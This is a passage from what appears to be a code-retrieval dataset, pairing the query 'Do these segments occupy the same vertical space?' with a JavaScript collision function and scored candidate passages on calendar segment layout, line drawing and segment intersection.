( !(evt.target.value.indexOf('.') === -1) )\n { \n return false; // already found a decimal \n }\n }\n\n // check if valid keystroke\n //\n if ( (charCode != 46) && (charCode > 31) &&\n ((charCode < 48) || (charCode > 57) ) )\n {\n return false;\n }\n\n return true;\n\n} // isFloatKey", "title": "" } ]
44a12c2e062941c07a36eda2950549c5
Do these segments occupy the same vertical space?
[ { "docid": "ceabf82b1c04512f5aa7834840bd84a9", "score": "0.0", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.end > seg2.start && seg1.start < seg2.end;\n}", "title": "" } ]
[ { "docid": "628ad98ddcd35fbe0ae9ced97f4d7bd6", "score": "0.65610147", "text": "constructor() { this.segments = []; this.size = 0; }", "title": "" }, { "docid": "57803ae4696d6fe7fda08d3303dea21e", "score": "0.613554", "text": "dataToSegments() {\n const segmentPadding = this.size === \"medium\"\n ? this.segmentPaddingForSizeMedium\n : this.segmentPaddingForSizeSmall;\n // Calculate the \"max\"\n const totalValue = this.dataState.reduce((total, d) => total + d.value, 0);\n const segmentsSmallerThanPadding = this.dataState.filter((d) => {\n let width = d.value / totalValue * this.hundredPercent;\n return width < segmentPadding;\n });\n const totalValueOfSegmentsSmallerThanPadding = segmentsSmallerThanPadding.reduce((total, d) => {\n return total + d.value;\n }, 0);\n const segmentPaddingRotationDeg = (360 / this.hundredPercent * segmentPadding);\n let rotation = segmentPaddingRotationDeg; // initial\n return this.dataState\n .filter(({}, i) => this.size === \"small\" ? i === 0 : true) // \"small\" only has one segment\n .map((d) => {\n // Calculate how much space is left without all the small segments\n // (a.k.a. calculate the \"real\" 100%)\n const availableWidth = this.hundredPercent - (segmentPadding * segmentsSmallerThanPadding.length);\n let width = d.value / (totalValue - totalValueOfSegmentsSmallerThanPadding) * availableWidth;\n if (width < segmentPadding) {\n // Small values are represented by only a dot (using CSS \"stroke-linecap: round;\")\n width = 0;\n }\n else {\n // Create padding\n width = width - segmentPadding;\n }\n const segment = { d, width, rotation };\n rotation += this.widthToDeg(segment.width) + segmentPaddingRotationDeg;\n return segment;\n });\n }", "title": "" }, { "docid": "dc37c6f92911293c4d299c88ef95b0e1", "score": "0.60651326", "text": "function compareSegments(a, b) {\n return a.line === b.line ? a.column - b.column : a.line - b.line;\n }", "title": "" }, { "docid": "d25632ef04f03661101ec049ecc5b4fd", "score": "0.6017531", "text": "function _segmentCompare(a, b) {\n\t\tif ('msLength' in a) {\n\t\t\t// segment generated by AgendaEventRenderer\n\t\t\treturn b.msLength - a.msLength; // put taller events first\n\t\t}\n\t\t// segment generated by DayEventRenderer\n\t\treturn (b.rightCol - b.leftCol) - (a.rightCol - a.leftCol) // put wider events first\n\t\t\t|| b.event.allDay - a.event.allDay; // if tie, put all-day events first (booleans cast to 0/1)\n\t}", "title": "" }, { "docid": "c75fb5c1d1aa99d9341aee575985e1a7", "score": "0.5901642", "text": "function drawSegment(ctx, points, start, segLen, allLen, dir, smooth, smoothMonotone, connectNulls) {\n var prevX;\n var prevY;\n var cpx0;\n var cpy0;\n var cpx1;\n var cpy1;\n var idx = start;\n var k = 0;\n\n for (; k < segLen; k++) {\n var x = points[idx * 2];\n var y = points[idx * 2 + 1];\n\n if (idx >= allLen || idx < 0) {\n break;\n }\n\n if (isPointNull(x, y)) {\n if (connectNulls) {\n idx += dir;\n continue;\n }\n\n break;\n }\n\n if (idx === start) {\n ctx[dir > 0 ? 'moveTo' : 'lineTo'](x, y);\n cpx0 = x;\n cpy0 = y;\n } else {\n var dx = x - prevX;\n var dy = y - prevY; // Ignore tiny segment.\n\n if (dx * dx + dy * dy < 0.5) {\n idx += dir;\n continue;\n }\n\n if (smooth > 0) {\n var nextIdx = idx + dir;\n var nextX = points[nextIdx * 2];\n var nextY = points[nextIdx * 2 + 1];\n var tmpK = k + 1;\n\n if (connectNulls) {\n // Find next point not null\n while (isPointNull(nextX, nextY) && tmpK < segLen) {\n tmpK++;\n nextIdx += dir;\n nextX = points[nextIdx * 2];\n nextY = points[nextIdx * 2 + 1];\n }\n }\n\n var ratioNextSeg = 0.5;\n var vx = 0;\n var vy = 0;\n var nextCpx0 = void 0;\n var nextCpy0 = void 0; // Is last point\n\n if (tmpK >= segLen || isPointNull(nextX, nextY)) {\n cpx1 = x;\n cpy1 = y;\n } else {\n vx = nextX - prevX;\n vy = nextY - prevY;\n var dx0 = x - prevX;\n var dx1 = nextX - x;\n var dy0 = y - prevY;\n var dy1 = nextY - y;\n var lenPrevSeg = void 0;\n var lenNextSeg = void 0;\n\n if (smoothMonotone === 'x') {\n lenPrevSeg = Math.abs(dx0);\n lenNextSeg = Math.abs(dx1);\n cpx1 = x - lenPrevSeg * smooth;\n cpy1 = y;\n nextCpx0 = x + lenPrevSeg * smooth;\n nextCpy0 = y;\n } else if (smoothMonotone === 'y') {\n lenPrevSeg = Math.abs(dy0);\n lenNextSeg = Math.abs(dy1);\n cpx1 = x;\n cpy1 = y - lenPrevSeg * smooth;\n nextCpx0 = x;\n nextCpy0 = y + lenPrevSeg * smooth;\n } else {\n lenPrevSeg = Math.sqrt(dx0 * dx0 + dy0 * dy0);\n lenNextSeg = Math.sqrt(dx1 * dx1 + dy1 * dy1); // Use ratio of seg length\n\n ratioNextSeg = lenNextSeg / (lenNextSeg + lenPrevSeg);\n cpx1 = x - vx * smooth * (1 - ratioNextSeg);\n cpy1 = y - vy * smooth * (1 - ratioNextSeg); // cp0 of next segment\n\n nextCpx0 = x + vx * smooth * ratioNextSeg;\n nextCpy0 = y + vy * smooth * ratioNextSeg; // Smooth constraint between point and next point.\n // Avoid exceeding extreme after smoothing.\n\n nextCpx0 = mathMin(nextCpx0, mathMax(nextX, x));\n nextCpy0 = mathMin(nextCpy0, mathMax(nextY, y));\n nextCpx0 = mathMax(nextCpx0, mathMin(nextX, x));\n nextCpy0 = mathMax(nextCpy0, mathMin(nextY, y)); // Reclaculate cp1 based on the adjusted cp0 of next seg.\n\n vx = nextCpx0 - x;\n vy = nextCpy0 - y;\n cpx1 = x - vx * lenPrevSeg / lenNextSeg;\n cpy1 = y - vy * lenPrevSeg / lenNextSeg; // Smooth constraint between point and prev point.\n // Avoid exceeding extreme after smoothing.\n\n cpx1 = mathMin(cpx1, mathMax(prevX, x));\n cpy1 = mathMin(cpy1, mathMax(prevY, y));\n cpx1 = mathMax(cpx1, mathMin(prevX, x));\n cpy1 = mathMax(cpy1, mathMin(prevY, y)); // Adjust next cp0 again.\n\n vx = x - cpx1;\n vy = y - cpy1;\n nextCpx0 = x + vx * lenNextSeg / lenPrevSeg;\n nextCpy0 = y + vy * lenNextSeg / lenPrevSeg;\n }\n }\n\n ctx.bezierCurveTo(cpx0, cpy0, cpx1, cpy1, x, y);\n cpx0 = nextCpx0;\n cpy0 = nextCpy0;\n } else {\n ctx.lineTo(x, y);\n }\n }\n\n prevX = x;\n prevY = y;\n idx += dir;\n }\n\n return k;\n }", "title": "" }, { "docid": "2a4b77a098f40b04a6135d08d849effa", "score": "0.5809968", "text": "function OnSegment(p1x, p1y, p2x, p2y, p3x, p3y) {\n var x_min, x_max, y_min, y_max;\n if (p1x < p2x) {\n x_min = p1x;\n x_max = p2x;\n } else {\n x_min = p2x;\n x_max = p1x;\n }\n if (p1y < p2y) {\n y_min = p1y;\n y_max = p2y;\n } else {\n y_min = p2y;\n y_max = p1y;\n }\n if (p3x < x_min || p3x > x_max || p3y < y_min || p3y > y_max)\n return false;\n else\n return true;\n}", "title": "" }, { "docid": "82183d455e23745d51b3694d215b4dd2", "score": "0.57640874", "text": "function createSegments(numSegments) {\n\n\n\n console.log('numSegments', numSegments);\n var segCollection = [],\n colorSlice = Math.floor(255 / numSegments);\n\n for (var i = 0; i < numSegments; i++) {\n var s = document.createElement('div');\n s.classList.add('viz-seg');\n var g = colorSlice * i,\n r = 127 - (colorSlice * i);\n\n s.style.backgroundColor = 'rgba(' + r + ',' + g + ',255,0.1)';\n vizArea.appendChild(s);\n segCollection.push($(s));\n }\n return segCollection;\n}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "f30f5791df70cf6bcece8dc7dccbeb8e", "score": "0.5703366", "text": "function calculateVerticals(segments) {\n\t\tvar rowCnt = getRowCnt();\n\t\tvar colCnt = getColCnt();\n\t\tvar rowContentHeights = []; // content height for each row\n\t\tvar segmentRows = buildSegmentRows(segments); // an array of segment arrays, one for each row\n\n\t\tfor (var rowI=0; rowI<rowCnt; rowI++) {\n\t\t\tvar segmentRow = segmentRows[rowI];\n\n\t\t\t// an array of running total heights for each column.\n\t\t\t// initialize with all zeros.\n\t\t\tvar colHeights = [];\n\t\t\tfor (var colI=0; colI<colCnt; colI++) {\n\t\t\t\tcolHeights.push(0);\n\t\t\t}\n\n\t\t\t// loop through every segment\n\t\t\tfor (var segmentI=0; segmentI<segmentRow.length; segmentI++) {\n\t\t\t\tvar segment = segmentRow[segmentI];\n\n\t\t\t\t// find the segment's top coordinate by looking at the max height\n\t\t\t\t// of all the columns the segment will be in.\n\t\t\t\tsegment.top = arrayMax(\n\t\t\t\t\tcolHeights.slice(\n\t\t\t\t\t\tsegment.leftCol,\n\t\t\t\t\t\tsegment.rightCol + 1 // make exclusive for slice\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t// adjust the columns to account for the segment's height\n\t\t\t\tfor (var colI=segment.leftCol; colI<=segment.rightCol; colI++) {\n\t\t\t\t\tcolHeights[colI] = segment.top + segment.outerHeight;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// the tallest column in the row should be the \"content height\"\n\t\t\trowContentHeights.push(arrayMax(colHeights));\n\t\t}\n\n\t\treturn rowContentHeights;\n\t}", "title": "" }, { "docid": "710daf62ca70e0f74fb0127a04b0e2f8", "score": "0.5637405", "text": "function orientation(segments) {\n\tvar sum = 0;\n\tfor (var i = 0; i < segments.length; i++) {\n\t\tvar segment = segments[i],\n\t\t\tdx = segment.end[0] - segment.start[0],\n\t\t\tdy = segment.end[1] + segment.start[1];\n\t\tsum += dx * dy;\n\t}\n\treturn sum > 0;\n}", "title": "" }, { "docid": "32e02641475d5b2ec25fee01530422f9", "score": "0.5631904", "text": "function getSegmentsVerticalObject(object) {\n var segmentMin, segmentMax, index, segment;\n var distance = 0;\n for (index = 0; index < object.segments.length; index++) {\n segment = object.segments[index];\n if (segment.positionIdentifier == \"base\") {\n if (index == 0) {\n segmentMin = segment\n }\n var segmentVector = new THREE.Vector3(segment.x1 - segmentMin.x0, segment.y1 - segmentMin.y0, 0);\n var testDistance = segmentVector.distanceTo(new THREE.Vector3());\n if (testDistance > distance) {\n distance = testDistance;\n segmentMax = segment\n }\n }\n }\n return {\n min: segmentMin,\n max: segmentMax\n }\n }", "title": "" }, { "docid": "4c4049344ccfad852fd42e5e6c759e05", "score": "0.56003034", "text": "getIntersections(otherSegment) {\n /** Both segments are horizontal **/\n if (this.coord1.y === this.coord2.y && otherSegment.coord1.y === otherSegment.coord2.y) {\n // If they aren't on the same plane, no intersection\n if (this.coord1.y !== otherSegment.coord1.y) return []\n\n // On the same plane, so check if they intersect\n const minThisX = Math.min(this.coord1.x, this.coord2.x)\n const maxThisX = Math.max(this.coord1.x, this.coord2.x)\n const minOtherX = Math.min(otherSegment.coord1.x, otherSegment.coord2.x)\n const maxOtherX = Math.max(otherSegment.coord1.x, otherSegment.coord2.x)\n if (maxThisX >= minOtherX && maxThisX <= maxOtherX) {\n const minIntersectionX = minOtherX\n const maxIntersectionX = maxThisX\n // Return all coordinates between these min and max intersection values\n const intersections = []\n for (let x = minIntersectionX; x <= maxIntersectionX; x++) {\n intersections.push(new Coordinate(x, this.coord1.y))\n }\n return intersections\n } else if (maxOtherX >= minThisX && maxOtherX <= maxThisX) {\n const minIntersectionX = minThisX\n const maxIntersectionX = maxOtherX\n // Return all coordinates between these min and max intersection values\n const intersections = []\n for (let x = minIntersectionX; x <= maxIntersectionX; x++) {\n intersections.push(new Coordinate(x, this.coord1.y))\n }\n return intersections\n }\n }\n\n /** Both segments are vertical **/\n if (this.coord1.x === this.coord2.x && otherSegment.coord1.x === otherSegment.coord2.x) {\n // If they aren't on the same plane, no intersection\n if (this.coord1.x !== otherSegment.coord1.x) return []\n\n // On the same plane, so check if they intersect\n const minThisY = Math.min(this.coord1.y, this.coord2.y)\n const maxThisY = Math.max(this.coord1.y, this.coord2.y)\n const minOtherY = Math.min(otherSegment.coord1.y, otherSegment.coord2.y)\n const maxOtherY = Math.max(otherSegment.coord1.y, otherSegment.coord2.y)\n if (maxThisY >= minOtherY && maxThisY <= maxOtherY) {\n const minIntersectionY = minOtherY\n const maxIntersectionY = maxThisY\n // Return all coordinates between these min and max intersection values\n const intersections = []\n for (let y = minIntersectionY; y <= maxIntersectionY; y++) {\n intersections.push(new Coordinate(this.coord1.x, y))\n }\n return intersections\n } else if (maxOtherY >= minThisY && maxOtherY <= maxThisY) {\n const minIntersectionY = minThisY\n const maxIntersectionY = maxOtherY\n // Return all coordinates between these min and max intersection values\n const intersections = []\n for (let y = minIntersectionY; y <= maxIntersectionY; y++) {\n intersections.push(new Coordinate(this.coord1.x, y))\n }\n return intersections\n }\n }\n\n /** One segment is vertical, one horizontal **/\n\n let horizontalSegment\n let verticalSegment\n if (this.coord1.y === this.coord2.y) { // this is horizontal segment\n horizontalSegment = this\n verticalSegment = otherSegment\n } else {\n horizontalSegment = otherSegment\n verticalSegment = this\n }\n\n // Vertical segment falls between two x's of horizontal segment...\n const minHorizontalX = Math.min(horizontalSegment.coord1.x, horizontalSegment.coord2.x)\n const maxHorizontalX = Math.max(horizontalSegment.coord1.x, 